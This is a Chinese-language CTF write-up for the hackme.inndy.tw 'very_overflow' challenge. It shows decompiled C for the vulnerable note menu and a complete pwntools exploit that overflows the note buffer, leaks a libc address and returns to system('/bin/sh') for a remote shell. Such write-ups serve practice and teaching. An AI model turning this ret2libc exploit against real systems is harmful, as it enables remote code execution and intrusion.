avatar

hackme.inndy.tw very_overflow

idea

先来看一下 vlun 函数,没有限制 add_note 的次数,因此可以多次 add_note 填满缓冲区来做 ROP 执行 plt_system。在 show_note 时会打印 Next note 的地址,在本地调试的时候发现栈上有 __libc_start_main ,所以可以泄漏出来找到 libc_base 返回到 plt_system。还有一点就是由于本地和远程的问题,在 add_note 时使用的 recvuntil 后在发生 payload 会超时,去掉后直接发送就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void *vuln()
{
void *result; // eax
char s; // [esp+1Ch] [ebp-420Ch]
int v2; // [esp+421Ch] [ebp-Ch]

v2 = 1;
result = memset(&s, 0, 0x4200u);
while ( v2 )
{
result = (void *)choose();
switch ( (unsigned int)result )
{
case 1u:
result = (void *)add_note(&s);
break;
case 2u:
result = (void *)edit_note(&s);
break;
case 3u:
result = (void *)show_note(&s);
break;
case 4u:
result = (void *)dump_notes(&s);
break;
case 5u:
v2 = 0;
break;
default:
result = (void *)puts("Invalid option!");
break;
}
}
return result;
}

偏移其实很好找,还有一点就是最后 add_note 最后在栈中只能占 2 个字节,因为如果最后不4字节对齐的话最后的 0 和 \n 会到下一个偏移。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from time import sleep
#context(log_level = "debug")

#target = process('./very_overflow',env = {"LD_PRELOAD":"./libc-2.23.so.i386"})
target = remote('hackme.inndy.tw', 7705)
libc = ELF('./libc-2.23.so.i386')
def debug():
addr = int(raw_input("DEBUG: "), 16)
gdb.attach(target, "b *" + str(addr))


def exit(index):
target.recvuntil('Your action: ')
target.sendline(index)




def edit(index,value):
target.recvuntil('Your action: ')
target.sendline('2')
target.recvuntil('Which note to edit: ')
target.sendline(index)
target.recvuntil('Your new data: ')
target.sendline(value)






def add(context):
#target.recvuntil('Your action:')
target.sendline('1')
#sleep(0.01)
#target.recvuntil('Input your note: ')
target.sendline(context)



def show(value):
target.recvuntil('Your action: ')
target.sendline('3')
target.recvuntil('Which note to show: ')
target.sendline(value)





for i in range(128):
#print i
#sleep(0.02)
add(cyclic(132))
add(cyclic(42))
#debug()
show('129')
target.recvuntil('Next note: ')
libc_base = int(target.recv(10),16) - 247 - libc.symbols['__libc_start_main']

addr_sys = libc.symbols['system'] + libc_base

addr_bin = next(libc.search("/bin/sh\x00")) + libc_base


payload = cyclic(0xc) + p32(addr_sys) + p32(0xdeadbeef) + p32(addr_bin)

edit('128', payload)

exit('5')




target.interactive()

Author: CarlStar
Link: http://yoursite.com/2018/12/13/very_overflow/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment